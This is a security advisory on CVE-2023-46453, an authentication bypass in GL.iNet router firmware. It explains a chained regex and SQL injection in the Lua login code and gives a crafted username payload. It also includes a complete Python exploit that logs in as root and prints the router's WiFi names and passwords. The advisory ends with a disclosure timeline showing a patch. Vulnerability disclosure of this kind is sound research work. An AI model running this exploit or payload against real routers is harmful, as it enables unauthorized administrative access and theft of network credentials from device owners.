1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 |
DZONERZY Security Research GLiNet: Router Authentication Bypass ======================================================================== Contents ======================================================================== 1. Overview 2. Detailed Description 3. Exploit 4. Timeline ======================================================================== 1. Overview ======================================================================== CVE-2023-46453 is a remote authentication bypass vulnerability in the web interface of GLiNet routers running firmware versions 4.x and up. The vulnerability allows an attacker to bypass authentication and gain access to the router's web interface. ======================================================================== 2. Detailed Description ======================================================================== The vulnerability is caused by a lack of proper authentication checks in /usr/sbin/gl-ngx-session file. The file is responsible for authenticating users to the web interface. The authentication is in different stages. Stage 1: During the first stage the user send a request to the challenge rcp endpoint. The endpoint returns a random nonce value used later in the authentication process. Stage 2: During the second stage the user sends a request to the login rcp endpoint with the username and the encrypted password. The encrypted password is calculated by the following formula: md5(username + crypt(password) + nonce) The crypt function is the standard unix crypt function. The vulnerability lies in the fact that the username is not sanitized properly before being passed to the login_test function in the lua script. ------------------------------------------------------------------------ local function login_test(username, hash) if not username or username == "" then return false end for l in io.lines("/etc/shadow") do local pw = l:match('^' .. username .. ':([^:]+)') if pw then for nonce in pairs(nonces) do if utils.md5(table.concat({username, pw, nonce}, ":")) == hash then nonces[nonce] = nil nonce_cnt = nonce_cnt - 1 return true end end return false end end return false end ------------------------------------------------------------------------ This script check the username against the /etc/shadow file. If the username is found in the file the script will extract the password hash and compare it to the hash sent by the user. If the hashes match the user is authenticated. The issue is that the username is not sanitized properly before being concatenated with the regex. This allows an attacker to inject a regex into the username field and modify the final behavior of the regex. for instance, the following username will match the userid of the root user: root:[^:]+:[^:]+ will become root:[^:]+:[^:]+:([^:]+) This will match the "root:" string and then any character until the next ":" character. This will cause the script skip the password and return the user id instead. Since the user id of the root user is always 0, the script will always return: md5("root:[^:]+:[^:]+" + "0" + nonce) Since this value is always the same, the attacker can simply send the known hash value to the login rcp endpoint and gain access to the web interface. Anyway this approach won't work as expected since later in the code inside the this check appear: ------------------------------------------------------------------------ local aclgroup = db.get_acl_by_username(username) local sid = utils.generate_id(32) sessions[sid] = { username = username, aclgroup = aclgroup, timeout = time_now() + session_timeout } ------------------------------------------------------------------------ The username which is now our custom regex will be passed to the get_acl_by_username function. This function will check the username against a database and return the aclgroup associated with the username. If the username is not found in the database the function will return nil, thus causing attack to fail. By checking the code we can see that the get_acl_by_username function is actually appending our raw string to a query and then executing it. This means that we can inject a sql query into the username field and make it return a valid aclgroup. ------------------------------------------------------------------------ M.get_acl_by_username = function(username) if username == "root" then return "root" end local db = sqlite3.open(DB) local sql = string.format("SELECT acl FROM account WHERE username = '%s'", username) local aclgroup = "" for a in db:rows(sql) do aclgroup = a[1] end db:close() return aclgroup end ------------------------------------------------------------------------ Using this payload we were able to craft a username which is both a valid regex and a valid sql query: roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+ this will make the sql query become: SELECT acl FROM account WHERE username = 'roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+' which will return the aclgroup of the root user (root). ======================================================================== 3. Exploit ======================================================================== ------------------------------------------------------------------------ # Exploit Title: [CVE-2023-46453] GL.iNet - Authentication Bypass # Date: 18/10/2023 # Exploit Author: Daniele 'dzonerzy' Linguaglossa # Vendor Homepage: https://www.gl-inet.com/ # Vulnerable Devices: # GL.iNet GL-MT3000 (4.3.7) # GL.iNet GL-AR300M(4.3.7) # GL.iNet GL-B1300 (4.3.7) # GL.iNet GL-AX1800 (4.3.7) # GL.iNet GL-AR750S (4.3.7) # GL.iNet GL-MT2500 (4.3.7) # GL.iNet GL-AXT1800 (4.3.7) # GL.iNet GL-X3000 (4.3.7) # GL.iNet GL-SFT1200 (4.3.7) # And many more... # Version: 4.3.7 # Firmware Release Date: 2023/09/13 # CVE: CVE-2023-46453 from urllib.parse import urlparse import requests import hashlib import random import sys def exploit(url): try: requests.packages.urllib3.disable_warnings() host = urlparse(url) url = f"{host.scheme}://{host.netloc}/rpc" print(f"[*] Target: {url}") print("[*] Retrieving nonce...") nonce = requests.post(url, verify=False, json={ "jsonrpc": "2.0", "id": random.randint(1000, 9999), "method": "challenge", "params": {"username": "root"} }, timeout=5).json() if "result" in nonce and "nonce" in nonce["result"]: print(f"[*] Got nonce: {nonce['result']['nonce']} !") else: print("[!] Nonce not found, exiting... :(") sys.exit(1) print("[*] Retrieving authentication token for root...") md5_hash = hashlib.md5() md5_hash.update( f"roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+:0:{nonce['result']['nonce']}".encode()) password = md5_hash.hexdigest() token = requests.post(url, verify=False, json={ "jsonrpc": "2.0", "id": random.randint(1000, 9999), "method": "login", "params": { "username": f"roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+", "hash": password } }, timeout=5).json() if "result" in token and "sid" in token["result"]: print(f"[*] Got token: {token['result']['sid']} !") else: print("[!] Token not found, exiting... :(") sys.exit(1) print("[*] Checking if we are root...") check = requests.post(url, verify=False, json={ "jsonrpc": "2.0", "id": random.randint(1000, 9999), "method": "call", "params": [token["result"]["sid"], "system", "get_status", {}] }, timeout=5).json() if "result" in check and "wifi" in check["result"]: print("[*] We are authenticated as root! :)") print("[*] Below some info:") for wifi in check["result"]["wifi"]: print(f"[*] --------------------") print(f"[*] SSID: {wifi['ssid']}") print(f"[*] Password: {wifi['passwd']}") print(f"[*] Band: {wifi['band']}") print(f"[*] --------------------") else: print("[!] Something went wrong, exiting... :(") sys.exit(1) except requests.exceptions.Timeout: print("[!] Timeout error, exiting... :(") sys.exit(1) except KeyboardInterrupt: print(f"[!] Something went wrong: {e}") if __name__ == "__main__": print("GL.iNet Auth Bypass\n") if len(sys.argv) < 2: print( f"Usage: python3 {sys.argv[1]} https://target.com", file=sys.stderr) sys.exit(0) else: exploit(sys.argv[1]) ------------------------------------------------------------------------ ======================================================================== 4. Timeline ======================================================================== 2023/09/13 - Vulnerability discovered 2023/09/14 - CVE-2023-46453 requested 2023/09/20 - Vendor contacted 2023/09/20 - Vendor replied 2023/09/30 - CVE-2023-46453 assigned 2023/11/08 - Vulnerability patched and fix released |